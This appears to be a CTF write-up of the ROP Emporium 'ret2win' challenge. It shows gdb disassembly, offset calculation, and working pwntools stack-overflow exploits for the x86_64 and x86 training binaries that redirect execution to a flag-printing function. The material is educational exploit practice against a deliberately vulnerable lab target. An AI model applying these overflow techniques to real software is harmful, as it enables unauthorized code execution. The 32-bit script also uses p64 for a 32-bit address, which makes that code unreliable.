As i promised, after covering some basics on Return Oriented Programming based Buffer Overflow, i will continue posting the challenges from ROPEmporium to deep dive in the understanding of ROP based buffer overflow. It took me some time to solve the very first challenge as my environment was giving me hard time. Some of those python+pip issues on kali linux. Anyways, let’s go.
So for those who are not familiar with ROP Emporium challenges, it is really simple. You’ll get one binary and flag file. Your goal is to debug the binary, locate the vulnerable code and make sure you prepare a custom instruction set to call that vulnerable code within binary to print the flag.
Environment: For this challenge, I have installed PEDA – Python Exploit Development Assistance for GDB and Gef within my gdb. Although, during the offset calculation both were giving me different values so at one point I switch to calculating the offset using pattern_offset ruby module on kali. But I’d suggest to try your hands out on it.
Challenge One: ret2win
For this session, I am going to solve x86 and x86_64 binary. My exploit code is bit different for both. The x86_64 requires to point to return address to the function where as the x86 does not require that. We’ll look into it later.
x86_64 Platform Architecture
First, Let’s run the binary and see what happens.
┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ ./ret2win
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Hello this is test
Thank you!
Exiting
The binary takes input and returns nothing. It exit the process. All Right, we know we have got a place to input string. Let’s disassemble the main function
gdb-peda$ disas main
Dump of assembler code for function main:
0x0000000000400697 <+0>: push rbp
0x0000000000400698 <+1>: mov rbp,rsp
0x000000000040069b <+4>: mov rax,QWORD PTR [rip+0x2009b6] # 0x601058 <stdout@@GLIBC_2.2.5>
0x00000000004006a2 <+11>: mov ecx,0x0
0x00000000004006a7 <+16>: mov edx,0x2
0x00000000004006ac <+21>: mov esi,0x0
0x00000000004006b1 <+26>: mov rdi,rax
0x00000000004006b4 <+29>: call 0x4005a0 <setvbuf@plt>
0x00000000004006b9 <+34>: mov edi,0x400808
0x00000000004006be <+39>: call 0x400550 <puts@plt>
0x00000000004006c3 <+44>: mov edi,0x400820
0x00000000004006c8 <+49>: call 0x400550 <puts@plt>
0x00000000004006cd <+54>: mov eax,0x0
0x00000000004006d2 <+59>: call 0x4006e8 <pwnme>
0x00000000004006d7 <+64>: mov edi,0x400828
0x00000000004006dc <+69>: call 0x400550 <puts@plt>
0x00000000004006e1 <+74>: mov eax,0x0
0x00000000004006e6 <+79>: pop rbp
=> 0x00000000004006e7 <+80>: ret
End of assembler dump.
Looking at the disassembly of the main functoin, we notice that the ‘pwnme’ function get called. Let’s disassemble it.
gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
0x00000000004006e8 <+0>: push rbp
0x00000000004006e9 <+1>: mov rbp,rsp
0x00000000004006ec <+4>: sub rsp,0x20
0x00000000004006f0 <+8>: lea rax,[rbp-0x20]
0x00000000004006f4 <+12>: mov edx,0x20
0x00000000004006f9 <+17>: mov esi,0x0
0x00000000004006fe <+22>: mov rdi,rax
0x0000000000400701 <+25>: call 0x400580 <memset@plt>
0x0000000000400706 <+30>: mov edi,0x400838
0x000000000040070b <+35>: call 0x400550 <puts@plt>
0x0000000000400710 <+40>: mov edi,0x400898
0x0000000000400715 <+45>: call 0x400550 <puts@plt>
0x000000000040071a <+50>: mov edi,0x4008b8
0x000000000040071f <+55>: call 0x400550 <puts@plt>
0x0000000000400724 <+60>: mov edi,0x400918
0x0000000000400729 <+65>: mov eax,0x0
0x000000000040072e <+70>: call 0x400570 <printf@plt>
0x0000000000400733 <+75>: lea rax,[rbp-0x20]
0x0000000000400737 <+79>: mov edx,0x38
0x000000000040073c <+84>: mov rsi,rax
0x000000000040073f <+87>: mov edi,0x0
0x0000000000400744 <+92>: call 0x400590 <read@plt>
0x0000000000400749 <+97>: mov edi,0x40091b
0x000000000040074e <+102>: call 0x400550 <puts@plt>
0x0000000000400753 <+107>: nop
0x0000000000400754 <+108>: leave
0x0000000000400755 <+109>: ret
End of assembler dump.
gdb-peda$ x/s 0x400838
0x400838: "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!"
gdb-peda$ x/s 0x400550
0x400550 <puts@plt>: "\377%\302\n "
gdb-peda$ x/s 0x400898
0x400898: "What could possibly go wrong?"
gdb-peda$ x/s 0x4008b8
0x4008b8: "You there, may I have your input please? And don't worry about null bytes, we're using read()!\n"
gdb-peda$ x/s 0x0000000000400737
0x400737 <pwnme+79>: "\2728"
gdb-peda$ x/s 0x40091b
0x40091b: "Thank you!"
Looking at the couple of values that ‘mov’ to edi registers tells me that there are strings presents in the program. Let’s list out the functions to make sure we are not missing any other function dump.
If you notice, I am using “x/s” following by the memory address. There are two commands within gdb. x/x and x/s. The x/x following by the memory address returns the hexadecimal form of what’s holding at the location whereas x/s following by the memory address returns the string-form of what’s holding at the location.
gdb-peda$ info function
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400756 ret2win
0x0000000000400780 __libc_csu_init
0x00000000004007f0 __libc_csu_fini
0x00000000004007f4 _fini
Hmm…ret2win seems interesting from the functions list. Let’s disassemble it.
gdb-peda$ disas ret2win
Dump of assembler code for function ret2win:
0x0000000000400756 <+0>: push rbp
0x0000000000400757 <+1>: mov rbp,rsp
0x000000000040075a <+4>: mov edi,0x400926
0x000000000040075f <+9>: call 0x400550 <puts@plt>
0x0000000000400764 <+14>: mov edi,0x400943
0x0000000000400769 <+19>: call 0x400560 <system@plt>
0x000000000040076e <+24>: nop
0x000000000040076f <+25>: pop rbp
0x0000000000400770 <+26>: ret
End of assembler dump.
gdb-peda$ x/s 0x400926
0x400926: "Well done! Here's your flag:"
gdb-peda$ x/s 0x400943
0x400943: "/bin/cat flag.txt"
okay so the function ret2win contains the string call ‘/bin/cat flag.txt’ which will print out the flag. Our main goal here is to print the flag. Now we need to find an offset. To find an offset, I will use the pattern_create ruby module on kali linux.
┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ `locate pattern_create` -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
(gdb) run
Starting program: /home/ringbuffer/Downloads/BufferOverFlow/ret2win/ret2win
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Thank you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
(gdb) 8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Undefined command: "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A". Try "help".
(gdb) i r
rax 0xb 11
rbx 0x7fffffffde78 140737488346744
rcx 0x7ffff7ec1b00 140737352833792
rdx 0x0 0
rsi 0x7ffff7f9e803 140737353738243
rdi 0x7ffff7f9fa30 140737353742896
rbp 0x4132624131624130 0x4132624131624130
rsp 0x7fffffffdd58 0x7fffffffdd58
r8 0x4007f0 4196336
r9 0x7ffff7fcfb10 140737353939728
r10 0x7ffff7dd9b08 140737351883528
r11 0x202 514
r12 0x0 0
r13 0x7fffffffde88 140737488346760
r14 0x0 0
r15 0x7ffff7ffd000 140737354125312
rip 0x400755 0x400755 <pwnme+109>
eflags 0x10206 [ PF IF RF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
(gdb)
┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ `locate pattern_offset` -q 0x4132624131624130 -l 100
[*] Exact match at offset 32
So we have our offset 32 and padding will be 8 byte makes it 40. Here’s how the stack will look like:

Here’s how the ret2win function call stack look like:

All Right Let me form an exploit now.
from pwn import * // Importing pwntools library
p = process('./ret2win') // Setting up the name of the process
buff = b"A"*40 // 40 Bytes overriding including padding
ret2win_process_addr = p64(0x0000000000400756) //ret2win process address
ret_to_pwnme = p64(0x0000000000400755) //returning control to pwnme
payload = buff + ret_to_pwnme + ret2win_process_addr
p.sendline(payload)
print(p.recvall().decode())
So if you look at the above exploit, there are two important things. Setting up address of the ret2win as well as pwnme function. We can grab the address of those to function directly from GDB as follows:
(gdb) p ret2win
$1 = {<text variable, no debug info>} 0x400756 <ret2win>
(gdb) p pwnme
$2 = {<text variable, no debug info>} 0x4006e8 <pwnme>
My exploit for x86_64 platform architecture requires me to manually returns the control back to the pwnme function otherwise the I was not able to obtain the flag. Let’s run the exploit to get our flag.
└─$ python exploit.py
[+] Starting local process './ret2win': pid 291235
[+] Receiving all data: Done (329B)
[*] Process './ret2win' stopped with exit code 0 (pid 291235)
ret2win by ROP Emporium
x86_64
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}
X86 Architecture
from pwn import *
p = process('./ret2win32')
payload = b"A"*44
payload += p64(0x0804862c)
p.sendline(payload)
p.interactive()
Looking at the exploit above, I have a different offset (44) and the p64(0x0804862c) points to the ret2win function call address. This was pretty simple and I just had to find to correct offset, points to ret2win function and grab the flag. Here’s the outcome of the exploit.

Thank you,
@ringbuffer